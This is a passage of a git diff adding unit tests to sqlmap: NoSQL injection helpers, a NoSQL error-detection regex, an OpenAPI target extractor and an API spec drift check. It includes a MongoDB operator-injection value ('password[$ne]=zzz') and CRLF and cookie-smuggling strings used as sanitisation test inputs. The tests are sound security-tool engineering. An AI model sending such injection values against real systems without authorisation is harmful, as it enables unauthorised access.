self.assertEqual(ni._originalValue(ni.PLACE.COOKIE, "username").strip(), "luther") + + def test_replace_segment(self): + out = ni._replaceSegment(ni.PLACE.COOKIE, "password", "password[$ne]=zzz") + self.assertIn("session=abc", out) + self.assertIn("username=luther", out) + self.assertIn("password[$ne]=zzz", out) + self.assertEqual(out.count(";"), 2) # 3 segments -> 2 delimiters (no '&') + self.assertNotIn("&", out) + + def test_constraint_binds_siblings(self): + constraint = ni._constraint(ni.PLACE.COOKIE, "password") + self.assertIn("u.session='abc'", constraint) + self.assertIn("u.username='luther'", constraint) + + +class TestNoSqlErrorRegex(unittest.TestCase): + """The heuristic regex must match real back-end error structures, not bare product names (so an + article merely mentioning MongoDB/Elasticsearch/Cassandra is never flagged as injectable)""" + + from lib.core.settings import NOSQL_ERROR_REGEX + + POSITIVES = ( + 'MongoServerError: unknown operator: $foo', + '{"ok":0,"errmsg":"unknown top level operator: $where","code":2,"codeName":"BadValue"}', + 'MongoServerError: Regular expression is invalid: missing )', + 'CastError: Cast to ObjectId failed', + '{"error":"query_parse_error","reason":"Invalid operator: $foo"}', + '{"error":{"root_cause":[{"type":"query_shard_exception","reason":"Failed to parse query [luther\']"}]},"status":400}', + '{"type":"x_content_parse_exception","reason":"[1:18] [bool] failed to parse"}', + '{"error":{"msg":"org.apache.solr.search.SyntaxError: Cannot parse \'username:\'","code":400}}', + "Neo.ClientError.Statement.SyntaxError: Invalid input", + 'Neo4j error: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 30) "MATCH (u:User) WHERE u.id = 1"', + "Neo4j error: Invalid input ''x'': expected an expression, 'FOREACH', 'MATCH', 'MERGE', 'UNWIND', 'WITH' or ", + '{"error":true,"errorNum":1501,"errorMessage":"AQL: syntax error, unexpected quoted string"}', + "ResponseError: line 1:38 no viable alternative at input", + "SyntaxException: line 1:42 mismatched input ''' expecting EOF", + '{"error":{"root_cause":[{"type":"number_format_exception","reason":"For input string"}]},"status":400}', + 'ReplyError: WRONGTYPE Operation against a key holding the wrong kind of value', + 'ReplyError: ERR Error compiling script (new function): user_script:1: unexpected symbol', + 'CLIENT_ERROR bad command line format', + 'error parsing query: found WHERE, expected identifier at line 1', + 'org.apache.phoenix.exception.PhoenixIOException: failed', + ) + + NEGATIVES = ( + "This article explains how MongoDB, CouchDB and Elasticsearch handle queries.", + "Cassandra and Redis are popular NoSQL databases; Neo4j is a graph database.", + "We migrated from Solr to OpenSearch last year. ArangoDB is multi-model.", + "Results:
    1luther
    ", + "Invalid credentials", + ) + + def test_matches_real_errors(self): + for sample in self.POSITIVES: + self.assertIsNotNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should match: %s" % sample) + + def test_ignores_benign_text(self): + for sample in self.NEGATIVES: + self.assertIsNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should NOT match: %s" % sample) + + +if __name__ == "__main__": + unittest.main() + diff --git a/tests/test_openapi.py b/tests/test_openapi.py new file mode 100644 index 00000000000..f5ed80b464a --- /dev/null +++ b/tests/test_openapi.py @@ -0,0 +1,475 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the OpenAPI/Swagger target extractor (lib/parse/openapi.py): schema example +synthesis, $ref resolution (incl. cycles), base-URL resolution (v2 + v3, relative/templated servers), +request-body handling (JSON / form), parameter->PLACE mapping, and (importantly) graceful handling of +malformed / poorly-defined specifications (a broken spec must never crash or hang the parser). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.parse.openapi import openApiTargets, yaml as _yaml + +HAS_YAML = _yaml is not None + + +def _targets(spec, origin="http://h"): + return openApiTargets(json.dumps(spec) if isinstance(spec, dict) else spec, origin) + +def _byMethodPath(targets): + return dict(("%s %s" % (method, url), (method, url, data, headers)) for url, method, data, headers in targets) + + +class TestOpenApi(unittest.TestCase): + def test_v3_query_path_and_base(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], + "paths": {"/pet/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "x"}}]}}}} + targets = _targets(spec, "http://host:8080") + self.assertEqual(len(targets), 1) + url, method, data, headers = targets[0] + self.assertEqual(method, "GET") + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + self.assertEqual(url, "http://host:8080/api/pet/1%s?q=x" % MARK) # relative server + filled+marked path + query + self.assertIsNone(data) + + def test_v3_json_body_sets_data_and_content_type(self): + spec = {"openapi": "3.0.0", "paths": {"/o": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"type": "object", "properties": {"name": {"type": "string"}, "qty": {"type": "integer"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(method, "POST") + self.assertEqual(json.loads(data), {"name": "1", "qty": 1}) + self.assertIn(("Content-Type", "application/json"), headers) + + def test_form_urlencoded_body(self): + spec = {"openapi": "3.0.0", "paths": {"/login": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", + "properties": {"u": {"type": "string"}, "p": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_value_synthesis(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "query", "schema": {"type": "integer"}}, + {"name": "b", "in": "query", "schema": {"type": "boolean"}}, + {"name": "c", "in": "query", "schema": {"type": "string", "enum": ["first", "second"]}}, + {"name": "d", "in": "query", "schema": {"type": "string", "default": "dd"}}, + {"name": "e", "in": "query", "schema": {"type": "string", "format": "uuid"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("a=1", url) + self.assertIn("b=true", url) + self.assertIn("c=first", url) # enum[0] + self.assertIn("d=dd", url) # default + self.assertIn("e=11111111-1111-1111-1111-111111111111", url) # format uuid + + def test_ref_resolution_and_allof_oneof(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Tag": {"type": "object", "properties": {"n": {"type": "string"}}}}}, + "paths": { + "/ref": {"post": {"requestBody": {"content": {"application/json": {"schema": {"$ref": "#/components/schemas/Tag"}}}}}}, + "/all": {"post": {"requestBody": {"content": {"application/json": {"schema": {"allOf": [ + {"type": "object", "properties": {"x": {"type": "string"}}}, + {"type": "object", "properties": {"y": {"type": "integer"}}}]}}}}}}, + "/one": {"post": {"requestBody": {"content": {"application/json": {"schema": {"oneOf": [ + {"type": "object", "properties": {"only": {"type": "string"}}}, + {"type": "object", "properties": {"other": {"type": "string"}}}]}}}}}}}} + m = _byMethodPath(_targets(spec)) + self.assertEqual(json.loads(m["POST http://h/ref"][2]), {"n": "1"}) + self.assertEqual(json.loads(m["POST http://h/all"][2]), {"x": "1", "y": 1}) # allOf merged + self.assertEqual(json.loads(m["POST http://h/one"][2]), {"only": "1"}) # oneOf -> first + + def test_ref_cycle_terminates(self): + spec = {"openapi": "3.0.0", + "components": {"schemas": {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, "parent": {"$ref": "#/components/schemas/Node"}}}}}, + "paths": {"/n": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}}} + targets = _targets(spec) # must not hang / recurse forever + self.assertEqual(len(targets), 1) + self.assertTrue(json.loads(targets[0][2]).get("name") == "1") + + def test_swagger_v2_base_and_body(self): + spec = {"swagger": "2.0", "host": "api.example.com", "basePath": "/v2", "schemes": ["https"], + "paths": {"/pet": {"post": {"parameters": [{"name": "b", "in": "body", + "schema": {"type": "object", "properties": {"id": {"type": "integer"}}}}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(url, "https://api.example.com/v2/pet") + self.assertEqual(json.loads(data), {"id": 1}) + + def test_server_template_variables(self): + spec = {"openapi": "3.0.0", "servers": [{"url": "https://{env}.x.io/{ver}", + "variables": {"env": {"default": "prod"}, "ver": {"default": "v3"}}}], + "paths": {"/p": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://prod.x.io/v3/p") + + def test_headers_are_hashable_tuples(self): + # kb.targets is an OrderedSet, so the emitted headers must be hashable (tuple, not list) + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "h", "in": "header", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + self.assertTrue(headers is None or isinstance(tuple(headers), tuple)) + + def test_header_and_cookie_params_are_injection_marked(self): + # header/cookie params get the custom injection mark ('*') appended so they become testable + # (custom) injection points (query/body params are still auto-tested alongside them) + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-Api", "in": "header", "schema": {"type": "string", "example": "k"}}, + {"name": "sess", "in": "cookie", "schema": {"type": "string", "example": "v"}}]}}}} + headers = dict(_targets(spec)[0][3]) + self.assertEqual(headers["X-Api"], "k" + MARK) + self.assertEqual(headers["Cookie"], "sess=v" + MARK) + + def test_tag_filter_restricts_operations(self): + # '--openapi-tags' keeps only operations declaring at least one requested tag; untagged + # operations are dropped when a filter is active + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.test"}], "paths": { + "/users/{id}": {"get": {"tags": ["users"], "parameters": [{"name": "id", "in": "path", "schema": {"type": "integer"}}]}}, + "/admin": {"post": {"tags": ["admin"], "parameters": [{"name": "q", "in": "query", "schema": {"type": "string"}}]}}, + "/ping": {"get": {"parameters": [{"name": "x", "in": "query", "schema": {"type": "string"}}]}}}} + content = json.dumps(spec) + + self.assertEqual(len(openApiTargets(content)), 3) # no filter -> everything + self.assertEqual(len(openApiTargets(content, tags=["nope"])), 0) # no match -> nothing (incl. untagged) + + users = openApiTargets(content, tags=["users"]) + self.assertEqual(len(users), 1) + self.assertIn("/users/", users[0][0]) + + both = openApiTargets(content, tags=["users", "admin"]) # union of tags + self.assertEqual(sorted(_[1] for _ in both), ["GET", "POST"]) + + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- + + def test_malformed_raises_valueerror(self): + for bad in ("{not json,,,", "[1,2,3]", "{}", '{"openapi":"3.0.0"}', '{"openapi":"3.0.0","paths":[1,2]}'): + self.assertRaises(ValueError, openApiTargets, bad, "http://h") + + def test_malformed_servers_do_not_crash(self): + for servers in ('{"url":"/a"}', '"http://h"', "[]"): + spec = '{"openapi":"3.0.0","servers":%s,"paths":{"/x":{"get":{}}}}' % servers + self.assertEqual(len(openApiTargets(spec, "http://h")), 1) # no crash, still one target + + def test_url_and_body_values_are_encoded(self): + # special characters in synthesized values must be percent-encoded so they can not break the + # URL structure (param smuggling) or the form body + spec = {"openapi": "3.0.0", "paths": { + "/x/{p}": {"get": {"parameters": [ + {"name": "p", "in": "path", "schema": {"type": "string", "example": "a/b"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "a b&c=d"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"u": {"type": "string", "example": "a b&x"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("/x/a%2Fb", getUrl) # path value '/' encoded (no extra segment) + self.assertIn("q=a%20b%26c%3Dd", getUrl) # query value space/&/= encoded (no smuggling) + self.assertNotIn(" ", getUrl) + self.assertEqual(byMethod["POST"][1], "u=a%20b%26x") + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_spec(self): + y = ("openapi: 3.0.0\n" + "paths:\n" + " /y:\n" + " get:\n" + " parameters:\n" + " - name: q\n" + " in: query\n" + " schema: {type: string, example: hi}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) + self.assertEqual(targets[0][0], "http://h/y?q=hi") + + def test_shared_recursive_refs_scale(self): + # a self-referential schema reused across many operations must terminate promptly (depth cap + + # per-$ref memoization); without them this would blow up exponentially and hang the test + schemas = {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, + "child": {"$ref": "#/components/schemas/Node"}, + "list": {"type": "array", "items": {"$ref": "#/components/schemas/Node"}}}}} + paths = dict(("/n%d" % i, {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}) for i in range(60)) + targets = _targets({"openapi": "3.0.0", "components": {"schemas": schemas}, "paths": paths}) + self.assertEqual(len(targets), 60) + self.assertEqual(json.loads(targets[0][2]).get("name"), "1") + + def test_swagger_v2_formdata_body(self): + # in:"formData" params must become a urlencoded body (previously dropped -> empty POST) + spec = {"swagger": "2.0", "host": "h", "paths": {"/l": {"post": {"parameters": [ + {"name": "u", "in": "formData", "type": "string"}, + {"name": "p", "in": "formData", "type": "string"}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(method, "POST") + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_relative_base_is_skipped(self): + # a spec that yields no scheme/host (relative server + no origin) must be skipped, not emitted + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], "paths": {"/x": {"get": {}}}} + self.assertEqual(openApiTargets(json.dumps(spec), None), []) # relative -> skipped + self.assertEqual(len(openApiTargets(json.dumps(spec), "http://h")), 1) # absolute with origin -> kept + + def test_unsupported_body_media_type_no_crash(self): + # a structured body under a non-JSON/form media type must not crash and must not fabricate a body, + # but the endpoint URL is still produced + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/xml": + {"schema": {"type": "object", "properties": {"a": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual((url, method, data), ("http://h/x", "POST", None)) + + def test_injection_mark_char_in_value_is_not_doubled(self): + # an example value already containing the custom injection mark must not create a stray point + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": { + "parameters": [{"name": "H", "in": "header", "schema": {"type": "string", "example": "a%sb" % MARK}}], + "requestBody": {"content": {"application/json": {"schema": {"type": "object", + "properties": {"n": {"type": "string", "example": "x%sy" % MARK}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(dict(headers)["H"], "ab" + MARK) # single trailing mark only + self.assertEqual(json.loads(data), {"n": "xy"}) # mark stripped from body value + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_non_string_method_keys_do_not_crash(self): + # YAML path-item keys are not guaranteed to be strings (404 -> int, on -> bool); must not crash + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " get: {}\n" + " 404: {}\n" + " on: {}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) # only the real GET operation + self.assertEqual(targets[0][1], "GET") + + def test_hostile_base_url_metadata_does_not_crash(self): + # _baseUrl runs once, OUTSIDE the per-operation try, so malformed server/scheme/basePath metadata + # must not raise (it would abort the entire extraction) + hostile = [ + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": [1, 2]}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": {"e": "prod"}}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": 123}], "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "schemes": {"a": 1}, "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "basePath": 123, "paths": {"/x": {"get": {}}}}] + for spec in hostile: + self.assertEqual(len(_targets(spec)), 1) # no crash, still one target + + def test_param_entry_not_a_dict_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": ["oops", {"name": "q", "in": "query"}]}}}} + self.assertIn("q=1", _targets(spec)[0][0]) # bad entry skipped, good one still used + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_date_examples_serialize(self): + # unquoted YAML dates parse to datetime.date, which is not JSON-serializable -> must be stringified, + # not silently dropped (dates are pervasive in real specs) + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " post:\n" + " requestBody:\n" + " content:\n" + " application/json:\n" + " schema: {type: object, properties: {created: {type: string, example: 2020-01-01}}}\n") + url, method, data, headers = openApiTargets(y, "http://h")[0] + self.assertEqual(json.loads(data), {"created": "2020-01-01"}) + + def test_crlf_in_header_and_cookie_is_stripped(self): + # a spec-supplied header/cookie name or value must not carry CR/LF (header injection / request + # corruption); query/path values are separately percent-encoded + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-A", "in": "header", "schema": {"type": "string", "example": "a\r\nX-Evil: 1"}}, + {"name": "X\r\nB", "in": "header", "schema": {"type": "string", "example": "v"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "a\r\nSet: x"}}]}}}} + headers = dict(_targets(spec)[0][3]) + for name, value in headers.items(): + self.assertNotIn("\r", name + value) + self.assertNotIn("\n", name + value) + self.assertIn("X-A", headers) + self.assertIn("XB", headers) # control chars removed from the name + + def test_explicit_examples_preferred_over_schema(self): + # a concrete example/examples on the media-type or parameter object must win over schema synthesis + # (real specs carry the canonical, validation-passing value there) + body = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object", "properties": {"name": {"type": "string"}}}, "example": {"name": "real"}}}}}}}} + self.assertEqual(json.loads(_targets(body)[0][2]), {"name": "real"}) + examples = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object"}, "examples": {"first": {"value": {"k": "v1"}}}}}}}}}} + self.assertEqual(json.loads(_targets(examples)[0][2]), {"k": "v1"}) + param = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": "E", "schema": {"type": "string"}}]}}}} + self.assertIn("q=E", _targets(param)[0][0]) + + def test_openapi_31_const_and_type_array(self): + spec = {"openapi": "3.1.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "c", "in": "query", "schema": {"const": "CV"}}, + {"name": "n", "in": "query", "schema": {"type": ["integer", "null"]}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("c=CV", url) # const used + self.assertIn("n=1", url) # ["integer","null"] resolved to integer, not the generic fallback + + def test_parameter_names_are_encoded(self): + # a param NAME with structural chars must be encoded so it can not split/smuggle params or truncate + # at a fragment; deep-object brackets ([]) are preserved + spec = {"openapi": "3.0.0", "paths": { + "/q": {"get": {"parameters": [ + {"name": "a&b=c", "in": "query", "schema": {"type": "string"}}, + {"name": "a#b", "in": "query", "schema": {"type": "string"}}, + {"name": "filter[status]", "in": "query", "schema": {"type": "string"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"x&y": {"type": "string"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("a%26b%3Dc=1", getUrl) + self.assertIn("a%23b=1", getUrl) + self.assertIn("filter[status]=1", getUrl) # brackets kept (deep-object param names) + self.assertNotIn("#", getUrl) + self.assertEqual(byMethod["POST"][1], "x%26y=1") + + def test_undefined_template_var_does_not_leak(self): + # a server/path template variable with no definition must not leave a literal '{...}' in the URL + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x.com/{basePath}/v3"}], + "paths": {"/pets": {"get": {}}}} + url = _targets(spec, "http://h")[0][0] + self.assertNotIn("{", url) + self.assertEqual(url, "https://api.x.com/1/v3/pets") # absolute server used as-is (host not rewritten) + + def test_absolute_server_url_is_not_rewritten_to_origin(self): + # a spec served from one host but declaring an absolute API server on another host must scan the + # DECLARED API host, not the spec's origin + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.example.com/v1"}], + "paths": {"/pets": {"get": {}}}} + self.assertEqual(_targets(spec, "https://docs.example.com")[0][0], "https://api.example.com/v1/pets") + + def test_path_parameter_is_injection_marked(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/users/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}]}}}} + self.assertEqual(_targets(spec)[0][0], "http://h/users/1" + MARK) + + def test_form_urlencoded_sets_content_type_and_multipart_skipped(self): + form = {"openapi": "3.0.0", "paths": {"/f": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(form)[0] + self.assertEqual(data, "u=1") + self.assertIn(("Content-Type", "application/x-www-form-urlencoded"), headers) + multipart = {"openapi": "3.0.0", "paths": {"/m": {"post": {"requestBody": {"content": + {"multipart/form-data": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(multipart)[0] + self.assertIsNone(data) # multipart is skipped, not mis-serialized as urlencoded + + def test_path_item_ref_is_resolved(self): + spec = {"openapi": "3.1.0", + "components": {"pathItems": {"Ping": {"get": {"parameters": [ + {"name": "q", "in": "query", "schema": {"type": "string", "example": "z"}}]}}}}, + "paths": {"/ping": {"$ref": "#/components/pathItems/Ping"}}} + targets = _targets(spec) + self.assertEqual(len(targets), 1) + self.assertIn("q=z", targets[0][0]) + + def test_operation_parameter_overrides_path_level(self): + spec = {"openapi": "3.0.0", "paths": {"/x": { + "parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "shared"}}], + "get": {"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "op"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("q=op", url) # operation value wins + self.assertEqual(url.count("q="), 1) # not duplicated + + def test_multiple_cookies_aggregate_into_one_header(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "cookie", "schema": {"type": "string"}}, + {"name": "b", "in": "cookie", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + cookieHeaders = [v for (k, v) in headers if k == "Cookie"] + self.assertEqual(cookieHeaders, ["a=1%s; b=1%s" % (MARK, MARK)]) # one aggregated Cookie header + + def test_cookie_name_value_cannot_smuggle_pairs(self): + # a cookie name that is not a token is dropped; structural chars in the value ('; ,' / whitespace) + # are stripped so a spec can not inject additional cookie pairs + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a; injected", "in": "cookie", "schema": {"type": "string"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "v; z=1"}}]}}}} + cookieHeaders = [v for (k, v) in (_targets(spec)[0][3] or []) if k == "Cookie"] + self.assertEqual(len(cookieHeaders), 1) + cookie = cookieHeaders[0] + self.assertNotIn(";", cookie.rstrip("*")) # no interior ';' -> no smuggled pair + self.assertNotIn("injected", cookie) # invalid cookie name dropped + self.assertNotIn(" ", cookie) + + def test_loose_path_without_leading_slash(self): + # a malformed path key missing its leading '/' must not glue onto the base (".../v1pets") + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x/v1"}], "paths": {"pets": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://api.x/v1/pets") + + def test_array_query_param_is_best_effort_scalar(self): + # documents current best-effort behavior: an array query param is scalarized+encoded, NOT expanded + # per style/explode. If richer serialization is added later, update this expectation deliberately. + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "ids", "in": "query", "schema": {"type": "array", "items": {"type": "integer"}}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("ids=", url) + self.assertNotIn(" ", url) # whatever the encoding, it must not break the URL + self.assertTrue(url.startswith("http://h/x?ids=")) + + def test_invalid_header_name_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "Bad Name", "in": "header", "schema": {"type": "string"}}, + {"name": "Also:Bad", "in": "header", "schema": {"type": "string"}}, + {"name": "X-Good", "in": "header", "schema": {"type": "string"}}]}}}} + headers = dict(_targets(spec)[0][3] or []) + self.assertIn("X-Good", headers) + self.assertNotIn("Bad Name", headers) + self.assertNotIn("Also:Bad", headers) + + def test_explicit_null_example_falls_back_to_schema(self): + # 'example: null' must not serialize as null/"null" - fall back to schema synthesis + q = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": None, "schema": {"type": "string", "example": "good"}}]}}}} + self.assertIn("q=good", _targets(q)[0][0]) + b = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": + {"example": None, "schema": {"type": "object", "properties": {"a": {"type": "integer"}}}}}}}}}} + self.assertEqual(json.loads(_targets(b)[0][2]), {"a": 1}) + + def test_degrade_not_skip_on_odd_shapes(self): + # enum-as-dict, non-string param name, and content[type]-as-list must degrade (op preserved) + for spec in ( + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": "q", "in": "query", "schema": {"enum": {"a": 1}}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": 5, "in": "header", "schema": {"type": "string"}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": [1, 2]}}}}}}): + self.assertEqual(len(_targets(spec)), 1) + + def test_malformed_ref_and_properties_degrade_not_skip(self): + # a non-string/unhashable $ref or a non-dict 'properties' must degrade the value (not lose the op) + for schema in ({"$ref": 123}, {"$ref": [1, 2]}, {"type": "object", "properties": [1, 2]}): + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": + {"content": {"application/json": {"schema": schema}}}}}}} + self.assertEqual(len(_targets(spec)), 1) # operation preserved, not skipped + + def test_undefined_bits_are_skipped_not_fatal(self): + spec = {"openapi": "3.0.0", "paths": { + "/a": {"get": {"parameters": [{}]}}, # param with no name + "/b": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/DoesNotExist"}}}}}}, # dangling $ref + "/c": {"get": {"parameters": [{"name": "p", "in": "query", + "schema": {"$ref": "https://other/x.json#/Y"}}]}}}} # external $ref + targets = _targets(spec) + self.assertEqual(len(targets), 3) # all three still produced + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_openapi_drift.py b/tests/test_openapi_drift.py new file mode 100644 index 00000000000..1ed84c2b825 --- /dev/null +++ b/tests/test_openapi_drift.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Contract test: the OpenAPI spec (sqlmapapi.yaml) must stay in lock-step with the +REST API actually served by lib/utils/api.py. The spec is hand-maintained, so it +is the exact thing that silently drifts when an endpoint is added/renamed/retyped. + +This walks the live Bottle route table (every @get/@post registers at import time) +and the spec's `paths:` block, and asserts the (method, path) sets are identical +in BOTH directions - no undocumented route, no phantom spec entry - plus that the +spec's advertised version matches the runtime RESTAPI_VERSION. + +PyYAML is not bundled (and the suite is stdlib-only / no pip), so the spec is read +with a tiny indentation-aware scanner that only needs the paths + info.version. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +__import__("lib.utils.api") # registers Bottle routes (side-effect import) +from lib.core.settings import RESTAPI_VERSION +from thirdparty.bottle.bottle import default_app + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +SPEC = os.path.join(ROOT, "sqlmapapi.yaml") + +# Bottle-only routes that are not part of the documented public contract +INTERNAL_RULES = ("/error/401",) + +HTTP_METHODS = ("get", "post", "put", "delete", "patch", "head", "options") + + +def _normalize_rule(rule): + # Bottle '' / '' -> OpenAPI '{taskid}' / '{filename}' + return re.sub(r"<([^:>]+)(?::[^>]+)?>", r"{\1}", rule) + + +def _app_pairs(): + pairs = set() + for route in default_app().routes: + rule = _normalize_rule(route.rule) + if rule in INTERNAL_RULES: + continue + pairs.add((route.method.lower(), rule)) + return pairs + + +def _spec_paths_and_version(text): + """Returns (set of (method, path), info.version) from the YAML text.""" + pairs = set() + version = None + section = None + current_path = None + + for line in text.splitlines(): + if not line.strip() or line.lstrip().startswith("#"): + continue + + top = re.match(r"^(\S[^:]*):", line) # a column-0 key starts a new top-level section + if top: + section = top.group(1) + current_path = None + continue + + if section == "info": + m = re.match(r"^ version:\s*(.+?)\s*$", line) + if m: + version = m.group(1).strip().strip('"').strip("'") + elif section == "paths": + m = re.match(r"^ (/\S*):\s*$", line) # 2-space path key + if m: + current_path = m.group(1) + continue + m = re.match(r"^ (\w+):\s*$", line) # 4-space method key + if m and current_path and m.group(1).lower() in HTTP_METHODS: + pairs.add((m.group(1).lower(), current_path)) + + return pairs, version + + +class TestOpenAPIDrift(unittest.TestCase): + def setUp(self): + with open(SPEC) as f: + self.spec_pairs, self.spec_version = _spec_paths_and_version(f.read()) + self.app_pairs = _app_pairs() + + def test_parsers_found_something(self): + # guard against a silently-empty parse making the equality checks vacuously pass + self.assertTrue(len(self.app_pairs) >= 15, self.app_pairs) + self.assertEqual(len(self.spec_pairs), len(self.app_pairs)) + + def test_no_undocumented_endpoint(self): + missing = self.app_pairs - self.spec_pairs + self.assertEqual(missing, set(), "served but absent from sqlmapapi.yaml: %s" % sorted(missing)) + + def test_no_phantom_spec_entry(self): + extra = self.spec_pairs - self.app_pairs + self.assertEqual(extra, set(), "in 